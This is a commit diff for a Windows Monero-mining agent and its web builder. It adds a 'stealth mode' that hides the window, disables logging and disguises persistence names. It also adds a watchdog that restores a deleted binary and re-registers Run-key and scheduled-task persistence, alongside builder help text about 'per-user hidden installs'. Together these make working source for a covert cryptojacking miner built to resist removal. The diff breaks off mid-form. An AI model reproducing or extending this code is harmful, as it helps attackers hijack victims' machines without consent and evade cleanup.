Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
@@ -35,6 +35,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
cfg: cfg,
|
||||
reporter: stats.NewReporter(),
|
||||
startTime: time.Now(),
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,11 +45,22 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
|
||||
for {
|
||||
start := time.Now()
|
||||
if err := c.connectLoop(); err != nil {
|
||||
log.Printf("[agent] disconnected: %v", err)
|
||||
}
|
||||
time.Sleep(5 * time.Second)
|
||||
if time.Since(start) > 10*time.Second {
|
||||
backoff = 5 * time.Second
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,6 +87,7 @@ func (c *AgentClient) connectLoop() error {
|
||||
defer close(statsStop)
|
||||
|
||||
for {
|
||||
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||
_, data, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
57
agent/config/adapt.go
Normal file
57
agent/config/adapt.go
Normal file
@@ -0,0 +1,57 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
const randomXMBPerThread = 384
|
||||
|
||||
// AdaptToSystem tunes thread and memory limits for the host hardware.
|
||||
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
|
||||
if !c.AdaptToHardware {
|
||||
return c
|
||||
}
|
||||
|
||||
out := c
|
||||
totalMB := reporter.TotalMemoryMB()
|
||||
if totalMB == 0 {
|
||||
return out
|
||||
}
|
||||
|
||||
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
|
||||
minFree := int(totalMB / 10)
|
||||
if minFree < 512 {
|
||||
minFree = 512
|
||||
}
|
||||
out.MinFreeRAM = minFree
|
||||
}
|
||||
|
||||
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
|
||||
if maxByRAM < 1 {
|
||||
maxByRAM = 1
|
||||
}
|
||||
|
||||
threads := out.EffectiveThreads()
|
||||
if threads > maxByRAM {
|
||||
if out.ThreadMode == "fixed" {
|
||||
out.Threads = maxByRAM
|
||||
} else {
|
||||
cores := runtime.NumCPU()
|
||||
if cores < 1 {
|
||||
cores = 1
|
||||
}
|
||||
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
|
||||
if pct < 10 {
|
||||
pct = 10
|
||||
}
|
||||
if pct > 100 {
|
||||
pct = 100
|
||||
}
|
||||
out.ThreadPercent = pct
|
||||
}
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
24
agent/config/adapt_test.go
Normal file
24
agent/config/adapt_test.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
|
||||
reporter := stats.NewReporter()
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ThreadMode: "fixed",
|
||||
Threads: 16,
|
||||
MaxMemoryPct: 50,
|
||||
AdaptToHardware: true,
|
||||
MinFreeRAM: 999999,
|
||||
}}
|
||||
|
||||
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
|
||||
adapted := cfg.AdaptToSystem(reporter)
|
||||
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
|
||||
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
|
||||
}
|
||||
}
|
||||
@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -38,6 +38,10 @@ type BuiltinConfig struct {
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
AdaptToHardware bool
|
||||
SelfHealing bool
|
||||
FileLogging bool
|
||||
StealthMode bool
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
if b.StealthMode {
|
||||
b.FileLogging = false
|
||||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
66
agent/deploy/health.go
Normal file
66
agent/deploy/health.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
if err := maintainInstall(cfg); err != nil {
|
||||
log.Printf("[watchdog] maintenance: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
43
agent/deploy/identity.go
Normal file
43
agent/deploy/identity.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const agentIDFile = "agent.id"
|
||||
|
||||
// EnsureAgentID creates a fresh agent ID during a new embed/install.
|
||||
func EnsureAgentID(installDir string) (string, error) {
|
||||
if err := os.MkdirAll(installDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := uuid.New().String()
|
||||
if err := writeAgentID(installDir, id); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := strings.TrimSpace(string(data))
|
||||
if id == "" {
|
||||
return "", fmt.Errorf("agent id file is empty")
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
func writeAgentID(installDir, id string) error {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
return os.WriteFile(path, []byte(id+"\n"), 0600)
|
||||
}
|
||||
@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
||||
)), 0644)
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "service":
|
||||
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
if cfg.AutoStart {
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(workerName, exePath string) error {
|
||||
taskName := sanitizeName(workerName)
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := persistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
taskName,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func persistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func registryValueName(workerName string) string {
|
||||
name := sanitizeName(workerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerAgent"
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
|
||||
}
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
return configureAutoStart("default", exePath)
|
||||
return configureAutoStart(config.RuntimeConfig{}, exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
|
||||
@@ -8,4 +8,7 @@ require (
|
||||
golang.org/x/sys v0.19.0
|
||||
)
|
||||
|
||||
require golang.org/x/crypto v0.22.0 // indirect
|
||||
require (
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
golang.org/x/crypto v0.22.0 // indirect
|
||||
)
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"crypto-miner-agent/client"
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -35,7 +37,16 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() {
|
||||
reporter := stats.NewReporter()
|
||||
cfg = cfg.AdaptToSystem(reporter)
|
||||
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
if id, err := deploy.LoadAgentID(installDir); err == nil {
|
||||
cfg.AgentID = id
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() || cfg.StealthMode {
|
||||
cfg.CPUPriority = "idle"
|
||||
}
|
||||
|
||||
@@ -43,8 +54,11 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
deploy.StartWatchdog(cfg)
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -52,7 +66,21 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
func shortID(id string) string {
|
||||
if len(id) >= 8 {
|
||||
return id[:8]
|
||||
}
|
||||
if id == "" {
|
||||
return "pending"
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func setupLogging(cfg config.RuntimeConfig) {
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
log.SetOutput(io.Discard)
|
||||
return
|
||||
}
|
||||
if os.Getenv("MINER_LOG_FILE") != "" {
|
||||
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
||||
return
|
||||
|
||||
@@ -10,6 +10,9 @@ import (
|
||||
const nonceOffset = 39
|
||||
const nonceSize = 4
|
||||
|
||||
// RandomX JIT + hardware AES for best hashrate on supported CPUs.
|
||||
const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
|
||||
|
||||
type Engine struct {
|
||||
mu sync.RWMutex
|
||||
cache *randomx.Randomx_Cache
|
||||
@@ -19,7 +22,7 @@ type Engine struct {
|
||||
}
|
||||
|
||||
func NewEngine() *Engine {
|
||||
cache := randomx.Randomx_alloc_cache(0)
|
||||
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
||||
return &Engine{cache: cache}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ type Pool struct {
|
||||
threads int
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
engines []*Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
@@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
if threads <= 0 {
|
||||
threads = 1
|
||||
}
|
||||
engines := make([]*Engine, threads)
|
||||
for i := range engines {
|
||||
engines[i] = NewEngine()
|
||||
}
|
||||
return &Pool{
|
||||
threads: threads,
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
engines: engines,
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
@@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) {
|
||||
if seed == "" && len(job.Blob) >= 64 {
|
||||
seed = job.Blob[:64]
|
||||
}
|
||||
if err := p.engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
for _, engine := range p.engines {
|
||||
if err := engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) Start() {
|
||||
for i := 0; i < p.threads; i++ {
|
||||
p.wg.Add(1)
|
||||
go p.worker(i)
|
||||
go p.worker(i, p.engines[i])
|
||||
}
|
||||
go p.resourceGuard()
|
||||
}
|
||||
@@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) worker(id int) {
|
||||
func (p *Pool) worker(id int, engine *Engine) {
|
||||
defer p.wg.Done()
|
||||
|
||||
var nonce uint32 = uint32(id * 1000000)
|
||||
@@ -158,7 +164,7 @@ func (p *Pool) worker(id int) {
|
||||
break
|
||||
}
|
||||
|
||||
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
||||
hashHex, _, err := engine.HashAtNonce(nonce)
|
||||
if err != nil {
|
||||
log.Printf("[miner] hash error: %v", err)
|
||||
break
|
||||
|
||||
@@ -50,6 +50,10 @@ type AgentDefaults struct {
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
@@ -96,6 +100,10 @@ func DefaultConfig() *Config {
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
@@ -209,6 +217,12 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
}
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
|
||||
@@ -137,6 +137,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
}
|
||||
@@ -152,6 +153,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
agentID = uuid.New().String()
|
||||
}
|
||||
|
||||
displayName := auth.Worker
|
||||
if displayName == "" {
|
||||
displayName = auth.Hostname
|
||||
}
|
||||
if displayName == "" {
|
||||
displayName = agentID[:8]
|
||||
}
|
||||
|
||||
clientIP := r.Header.Get("X-Forwarded-For")
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
@@ -162,7 +171,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: auth.Hostname,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
|
||||
@@ -43,6 +43,10 @@ type BuildRequest struct {
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
@@ -156,8 +160,8 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
|
||||
ldflags := "-s -w -trimpath"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
@@ -289,6 +293,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||||
}
|
||||
if req.StealthMode {
|
||||
req.FileLogging = false
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
if req.PoolHost == "" {
|
||||
req.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
@@ -341,6 +351,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
InstallBase: %q,
|
||||
InstallCustomBase: %q,
|
||||
InstallRelativePath: %q,
|
||||
AdaptToHardware: %v,
|
||||
SelfHealing: %v,
|
||||
FileLogging: %v,
|
||||
StealthMode: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -373,6 +387,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.InstallBase,
|
||||
req.InstallCustomBase,
|
||||
req.InstallRelativePath,
|
||||
req.AdaptToHardware,
|
||||
req.SelfHealing,
|
||||
req.FileLogging,
|
||||
req.StealthMode,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
|
||||
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
|
||||
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
|
||||
};
|
||||
|
||||
@@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
||||
install_base: d.install_base || 'localappdata',
|
||||
install_custom_base: d.install_custom_base || '',
|
||||
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
|
||||
adapt_to_hardware: d.adapt_to_hardware ?? true,
|
||||
self_healing: d.self_healing ?? true,
|
||||
file_logging: d.file_logging ?? true,
|
||||
stealth_mode: d.stealth_mode ?? false,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
@@ -393,6 +397,41 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Preview</label>
|
||||
<code className="path-display">{installPreview}</code>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
